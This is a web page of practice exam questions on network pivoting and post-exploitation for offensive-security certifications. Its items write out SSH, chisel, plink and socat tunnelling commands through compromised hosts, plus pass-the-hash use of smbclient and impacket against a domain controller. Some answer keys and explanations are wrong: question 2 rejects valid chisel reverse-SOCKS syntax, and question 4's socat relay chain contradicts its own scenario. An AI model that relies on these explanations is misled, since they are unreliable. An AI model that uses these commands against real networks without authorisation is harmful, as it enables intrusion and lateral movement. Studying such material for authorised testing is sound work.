Free Offensive Security Pivoting, Tunneling and Post-Exploitation Practice Test 2026

Master Pivoting, Tunneling and Post-Exploitation with free offensive security practice questions covering port forwarding, SOCKS proxies, tunneling through compromised hosts, persistence, and data exfiltration. Each question includes a detailed explanation — no signup required. This domain accounts for 6% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.

Key Pivoting, Tunneling and Post-Exploitation Topics

Free Pivoting, Tunneling and Post-Exploitation Sample Questions with Answers

Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.

Sample Question 1 — Pivoting, Tunneling & Post-Exploitation

You compromised a Linux web server (10.10.10.5) in a segmented DMZ. From this host, you can reach an internal Windows server (172.16.20.10) on RDP (3389), but your Kali box (192.168.56.10) cannot reach 172.16.20.0/24 directly. You want to use xfreerdp from your Kali machine to interactively RDP into 172.16.20.10 through the Linux pivot host over SSH. Which command on your Kali machine is the MOST appropriate to set up the tunnel?

  1. A. ssh -L 3389:172.16.20.10:3389 www-data@10.10.10.5
  2. B. ssh -R 3389:172.16.20.10:3389 www-data@10.10.10.5
  3. C. ssh -D 3389 www-data@10.10.10.5
  4. D. ssh -L 127.0.0.1:3389:172.16.20.10:3389 www-data@10.10.10.5 (Correct answer)

Correct answer: D

Explanation: You want a local port on Kali that forwards traffic to the internal RDP service via the pivot. That is classic local port forwarding. Why D is correct: - Syntax: `ssh -L [bind_address:]local_port:remote_host:remote_port user@pivot` - `ssh -L 127.0.0.1:3389:172.16.20.10:3389 www-data@10.10.10.5` binds 127.0.0.1:3389 on Kali and forwards it through the SSH connection to the pivot, which then connects to 172.16.20.10:3389. - After this, you can run: `xfreerdp /v:127.0.0.1:3389 /u:DOMAIN\user /p:Password123!` from Kali, and the traffic is transparently tunneled. - Binding explicitly to 127.0.0.1 is safer (doesn’t expose the forwarded port to other hosts on your Kali’s network) and is a common exam-grade expectation. Why the others are wrong: - A: `ssh -L 3389:172.16.20.10:3389 www-data@10.10.10.5` - Functionally similar to D but omits the bind address. On many systems this still works and binds to 127.0.0.1 by default, but in exam contexts, the explicit, least-privilege binding is preferred and unambiguous. D is the best, most precise answer. - B: `ssh -R 3389:172.16.20.10:3389 www-data@10.10.10.5` - This is reverse port forwarding: it would open port 3389 on the pivot (10.10.10.5) and forward to 172.16.20.10:3389 via Kali. That’s the opposite of what you need. You want to access the internal host from Kali, not expose it on the pivot. - C: `ssh -D 3389 www-data@10.10.10.5` - This sets up a SOCKS proxy on Kali at port 3389. You’d then need a SOCKS-aware client or proxychains to use it. xfreerdp is not SOCKS-aware by default, and the question specifically wants a direct tunnel for RDP, not a generic SOCKS proxy. Relevant technique: - Local port forwarding is a core pivoting technique: compromise pivot → `ssh -L` → use native tools (RDP, WinRM, MSSQL clients) against internal hosts as if they were local.

Sample Question 2 — Pivoting, Tunneling & Post-Exploitation

You have a low-privilege shell on an internal Windows host (10.0.2.15) that can reach multiple internal subnets, but your Kali box (192.168.56.10) is outside the network and only has a reverse TCP shell from that host. You want to enumerate internal HTTP services using nmap and gobuster from Kali without uploading heavy tools internally. You decide to use chisel to create a SOCKS proxy through the compromised host. You can upload a chisel client binary to 10.0.2.15, and you will run the chisel server on Kali. Which sequence is MOST appropriate?

  1. A. On Kali: `chisel client 10.0.2.15:8000 1080 socks` On 10.0.2.15: `chisel server -p 8000 --reverse`
  2. B. On Kali: `chisel server -p 8000 --reverse` On 10.0.2.15: `chisel client 192.168.56.10:8000 R:socks`
  3. C. On Kali: `chisel server -p 8000` On 10.0.2.15: `chisel client 192.168.56.10:8000 socks` (Correct answer)
  4. D. On Kali: `chisel client 10.0.2.15:8000 R:1080:socks` On 10.0.2.15: `chisel server -p 1080`

Correct answer: C

Explanation: You want a SOCKS proxy listening on Kali that forwards traffic through the compromised Windows host. In the typical chisel pattern, the attacker runs the server, and the compromised host runs the client. Why C is correct: - On Kali (attacker): `chisel server -p 8000` - Starts a chisel server listening on port 8000. - On compromised host: `chisel client 192.168.56.10:8000 socks` - Connects to the chisel server at 192.168.56.10:8000 and sets up a SOCKS proxy on the client side, which is then exposed on the server (Kali) as a local SOCKS port (default 1080). - After that, on Kali you can configure proxychains: - `/etc/proxychains4.conf` → `socks5 127.0.0.1 1080` - Then run: `proxychains nmap -sT -Pn 10.0.3.0/24 -p80,443` or `proxychains gobuster dir -u http://10.0.3.5/ -w wordlist.txt`. Why the others are wrong: - A: On Kali: `chisel client 10.0.2.15:8000 1080 socks` / On 10.0.2.15: `chisel server -p 8000 --reverse` - This inverts roles: server on the compromised host, client on Kali. While chisel supports reverse mode, the syntax is incorrect (missing `R:` for reverse) and not the straightforward approach expected in exams. - B: On Kali: `chisel server -p 8000 --reverse` / On 10.0.2.15: `chisel client 192.168.56.10:8000 R:socks` - Reverse mode syntax is wrong: `R:socks` is not valid; reverse tunnels need `R:localport:remotehost:remoteport`. Also, reverse mode is more for exposing attacker services to the victim, not for a simple SOCKS pivot. - D: On Kali: `chisel client 10.0.2.15:8000 R:1080:socks` / On 10.0.2.15: `chisel server -p 1080` - Misuses `R:` (reverse) and mixes up ports and modes. `R:1080:socks` is not valid syntax. Also, server should be on Kali for easier control and firewall traversal. Relevant technique: - Using chisel in client/server mode to create a SOCKS5 pivot is a modern, lightweight alternative to SSH tunnels on Windows, especially when you only have a reverse shell and can’t easily open inbound ports.

Sample Question 3 — Pivoting, Tunneling & Post-Exploitation

During an internal engagement, you compromised a Windows jump host (10.1.1.50) that can reach a restricted SQL server (10.1.2.20:1433). Your Kali box (192.168.56.10) cannot directly reach 10.1.2.0/24. You want to run `impacket-mssqlclient` from Kali against 10.1.2.20 using a pivot through 10.1.1.50. You decide to use plink.exe (PuTTY link) on the Windows host to create a tunnel back to your Kali SSH server. Your Kali SSH daemon listens on port 22 and is reachable from 10.1.1.50. Which plink command on the compromised Windows host is MOST appropriate?

  1. A. plink.exe -ssh kali@192.168.56.10 -L 1433:10.1.2.20:1433
  2. B. plink.exe -ssh kali@192.168.56.10 -R 1433:10.1.2.20:1433 (Correct answer)
  3. C. plink.exe -ssh kali@192.168.56.10 -R 1433:127.0.0.1:1433
  4. D. plink.exe -ssh kali@192.168.56.10 -L 1433:127.0.0.1:1433

Correct answer: B

Explanation: You want to expose the internal SQL server (10.1.2.20:1433) on your Kali machine so that `impacket-mssqlclient` can connect to a local port and have that forwarded through the jump host. This is a classic reverse port forwarding scenario: the compromised host initiates SSH to Kali and asks Kali to listen on a port that forwards to an internal resource reachable only from the compromised host. Why B is correct: - plink syntax: `-R [listen_port]:[target_host]:[target_port]` (reverse port forward) - `plink.exe -ssh kali@192.168.56.10 -R 1433:10.1.2.20:1433` - Tells Kali’s SSH server to listen on 127.0.0.1:1433 and forward any connections through the SSH tunnel to 10.1.2.20:1433 from the perspective of the Windows host. - After this, on Kali you can run: - `impacket-mssqlclient DOMAIN/user:Password123@127.0.0.1 -port 1433` - The traffic is tunneled via 10.1.1.50 to 10.1.2.20. Why the others are wrong: - A: `-L 1433:10.1.2.20:1433` - Local port forwarding from the Windows host side. That would open 10.1.1.50:1433 and forward to 10.1.2.20:1433, but you’re running `impacket-mssqlclient` on Kali, not on the Windows host. Kali would still have no direct path to 10.1.2.20. - C: `-R 1433:127.0.0.1:1433` - This would expose the Windows host’s local 127.0.0.1:1433 on Kali. But the SQL server is on 10.1.2.20, not localhost of the jump host. Unless there’s already a local tunnel or SQL instance bound to 127.0.0.1:1433 on the jump host, this won’t reach 10.1.2.20. - D: `-L 1433:127.0.0.1:1433` - Same issue as A: it creates a local forward on the Windows host, not on Kali. It doesn’t help Kali reach the internal SQL server. Relevant technique: - Reverse port forwarding is crucial when the attacker machine cannot directly reach internal subnets but the compromised host can reach the attacker. This is common in OSCP/PNPT-style pivoting chains.

Sample Question 4 — Pivoting, Tunneling & Post-Exploitation

You have a SYSTEM shell on a Windows domain member (10.10.5.30) and have dumped NTLM hashes using `impacket-secretsdump`. You want to perform Pass-the-Hash against the Domain Controller (10.10.5.10) over SMB (445), but your Kali box (192.168.56.10) cannot directly reach 10.10.5.10 due to firewall rules. However, 10.10.5.30 can reach 10.10.5.10:445. You decide to use `socat` on the Windows host (via a statically compiled binary) to pivot SMB traffic from Kali to the DC. You will run `smbclient` from Kali. Which setup is MOST appropriate?

  1. A. On Kali: `socat TCP-LISTEN:445,fork TCP:10.10.5.30:445` On 10.10.5.30: `socat TCP-LISTEN:445,fork TCP:10.10.5.10:445`
  2. B. On Kali: `socat TCP-LISTEN:445,fork TCP:10.10.5.30:445` On 10.10.5.30: `socat TCP:192.168.56.10:445 TCP:10.10.5.10:445` (Correct answer)
  3. C. On Kali: `socat TCP:10.10.5.30:445 TCP-LISTEN:445,fork` On 10.10.5.30: `socat TCP-LISTEN:445,fork TCP:10.10.5.10:445`
  4. D. On Kali: `socat TCP-LISTEN:445,fork TCP:10.10.5.10:445` On 10.10.5.30: `socat TCP:192.168.56.10:445 TCP-LISTEN:445,fork`

Correct answer: B

Explanation: You want Kali to expose a local port (445) that forwards to the DC’s 445 via the compromised host. The compromised host must initiate the connection to Kali (common in egress-only environments) and then forward that traffic to the DC. Why B is correct: - On Kali: `socat TCP-LISTEN:445,fork TCP:10.10.5.30:445` - Listens on Kali’s 0.0.0.0:445 and forwards any connection to 10.10.5.30:445. - On 10.10.5.30: `socat TCP:192.168.56.10:445 TCP:10.10.5.10:445` - Connects to Kali’s 192.168.56.10:445 and forwards that connection to 10.10.5.10:445. - Effective chain: - Kali `smbclient` → 127.0.0.1:445 → socat on Kali → 10.10.5.30:445 → socat on 10.10.5.30 → 10.10.5.10:445 (DC) - Then you can run on Kali: - `smbclient -L 127.0.0.1 -U 'DOMAIN/user%HASH' --pw-nt-hash` - Or use `impacket-psexec`/`wmiexec` with `-hashes` against 127.0.0.1. Why the others are wrong: - A: Both sides are listening on 445. - No side initiates a connection; you end up with two listeners and no connector. The tunnel never forms. - C: On Kali: `socat TCP:10.10.5.30:445 TCP-LISTEN:445,fork` - This tries to connect from Kali to 10.10.5.30:445, which may be blocked by firewall rules (the scenario states Kali cannot reach internal hosts directly). Also, the direction is reversed from what you need. - D: On Kali: `socat TCP-LISTEN:445,fork TCP:10.10.5.10:445` - This assumes Kali can directly reach 10.10.5.10:445, which contradicts the scenario. The Windows host’s socat command is also misconfigured (listening instead of connecting on the internal side). Relevant technique: - `socat` is often used in OSEP-style labs to build custom TCP relays when SSH or chisel are not available. Understanding which side listens and which side connects is crucial for building working pivot chains.

Sample Question 5 — Pivoting, Tunneling & Post-Exploitation

You compromised a Linux bastion host (10.20.0.5) that has two interfaces: - eth0: 10.20.0.5/24 (reachable from your Kali: 192.168.56.10) - eth1: 172.16.100.5/24 (internal network, not directly reachable from Kali) From the bastion, you can ping 172.16.100.50, which runs an internal web app on port 8080. You want to: 1) Use nmap from Kali to scan 172.16.100.0/24 via the bastion. 2) Then browse http://172.16.100.50:8080 from your Kali browser. You decide to use SSH dynamic port forwarding (SOCKS) for generic scanning and a specific local port forward for the web app. Which combination of SSH commands on your Kali machine is MOST appropriate?

  1. A. `ssh -D 1080 root@10.20.0.5` `ssh -L 8080:172.16.100.50:8080 root@10.20.0.5` (Correct answer)
  2. B. `ssh -D 1080 root@10.20.0.5` `ssh -R 8080:172.16.100.50:8080 root@10.20.0.5`
  3. C. `ssh -L 1080:172.16.100.0:8080 root@10.20.0.5` `ssh -D 8080 root@10.20.0.5`
  4. D. `ssh -R 1080:172.16.100.0:8080 root@10.20.0.5` `ssh -L 8080:172.16.100.50:8080 root@10.20.0.5`

Correct answer: A

Explanation: You need two distinct capabilities: 1) A SOCKS proxy to route arbitrary TCP traffic (for nmap, gobuster, etc.) through the bastion. 2) A simple local port forward to access a specific web app from your browser. Why A is correct: - `ssh -D 1080 root@10.20.0.5` - Creates a SOCKS proxy on Kali at 127.0.0.1:1080. Traffic from SOCKS-aware tools (or via proxychains) is routed through the bastion. - Example usage: - `/etc/proxychains4.conf` → `socks5 127.0.0.1 1080` - `proxychains nmap -sT -Pn 172.16.100.0/24 -p 22,80,8080` - `ssh -L 8080:172.16.100.50:8080 root@10.20.0.5` - Binds 127.0.0.1:8080 on Kali and forwards it to 172.16.100.50:8080 via the bastion. - You can then browse `http://127.0.0.1:8080` in your Kali browser to reach the internal web app. - Using two separate SSH sessions is common and avoids mixing SOCKS and specific forwards in a single complex command. Why the others are wrong: - B: Second command uses `-R 8080:172.16.100.50:8080` (reverse port forwarding). - That would expose 172.16.100.50:8080 on the bastion’s side of the SSH connection, not as a local port on Kali. You want a local port on Kali for your browser. - C: `ssh -L 1080:172.16.100.0:8080` is invalid for a network range. - Local port forwarding expects a single host, not a subnet. Also, `ssh -D 8080` would create a SOCKS proxy on port 8080, conflicting with the desire to use 8080 for direct HTTP. - D: `ssh -R 1080:172.16.100.0:8080` is invalid (subnet used as host) and reverse forwarding is the wrong direction for your needs. Relevant technique: - Combining dynamic port forwarding (SOCKS) for generic pivoting with targeted local forwards for specific high-value services is a standard pattern in OSCP/PNPT/OSEP-style internal assessments.

Sample Question 6 — Pivoting, Tunneling & Post-Exploitation

You compromised a Linux web server (10.10.10.5) in a segmented DMZ. From that host, you can reach an internal Windows server (172.16.10.20:3389), but your Kali box on the Internet cannot. You want to use xfreerdp from your Kali machine to access 172.16.10.20:3389 via the Linux pivot using SSH. Which command on your Kali machine is the MOST appropriate to set this up, assuming you have SSH access as user www-data on 10.10.10.5 and no root privileges?

  1. A. ssh -L 3389:172.16.10.20:3389 www-data@10.10.10.5 (Correct answer)
  2. B. ssh -R 3389:172.16.10.20:3389 www-data@10.10.10.5
  3. C. ssh -D 3389 www-data@10.10.10.5
  4. D. ssh -L 172.16.10.20:3389:127.0.0.1:3389 www-data@10.10.10.5

Correct answer: A

Explanation: You want to forward a local port on Kali to a remote internal host reachable only from the pivot (10.10.10.5). That is classic local port forwarding. Correct answer – A: ssh -L 3389:172.16.10.20:3389 www-data@10.10.10.5 - Syntax: ssh -L [LOCAL_PORT]:[TARGET_IP]:[TARGET_PORT] [user]@[pivot] - This binds 127.0.0.1:3389 on Kali and forwards all traffic through the SSH tunnel to 172.16.10.20:3389 from the perspective of 10.10.10.5. - After running this, you can do: xfreerdp /v:127.0.0.1:3389 /u:DOMAIN\\user /p:Passw0rd - No root privileges are required for binding to 3389 on Kali if you run as a user and the port is >1024; if you must use a high port, you could choose 13389 instead. The question focuses on the forwarding direction and structure, not the privileged-port nuance. Why the others are wrong: B: ssh -R 3389:172.16.10.20:3389 www-data@10.10.10.5 - -R is remote port forwarding: it opens port 3389 on the remote host (10.10.10.5) and forwards it back to your Kali. - That would let someone on 10.10.10.5 reach 172.16.10.20 via your Kali, which is the opposite of what you need. C: ssh -D 3389 www-data@10.10.10.5 - -D sets up a SOCKS proxy. You could use it with proxychains or a SOCKS-aware RDP client, but xfreerdp does not natively use SOCKS. - The question asks for the MOST appropriate direct solution for xfreerdp, which is local port forwarding, not a generic SOCKS proxy. D: ssh -L 172.16.10.20:3389:127.0.0.1:3389 www-data@10.10.10.5 - The syntax is reversed: ssh -L [LOCAL_BIND_IP:LOCAL_PORT]:[REMOTE_IP]:[REMOTE_PORT]. - This would attempt to bind 172.16.10.20:3389 on your local machine (which doesn’t make sense; that IP is only routable inside the internal network, not on Kali). - Even if syntactically accepted, it does not achieve the intended pivot behavior from Kali. Relevant technique: - Local port forwarding is a fundamental pivoting technique: you leverage a host with internal reachability to expose internal services to your attacking machine over SSH. - Typical pattern in exams: compromise DMZ host → SSH local port forward → use native tools (RDP, MSSQL, WinRM) from Kali via 127.0.0.1:LOCAL_PORT.

Offensive Security Prep Pack Overview

Other Offensive Security Domains

Start the free offensive security Pivoting, Tunneling and Post-Exploitation practice test now | 10-question quick start | All offensive security domains | All Sample Tests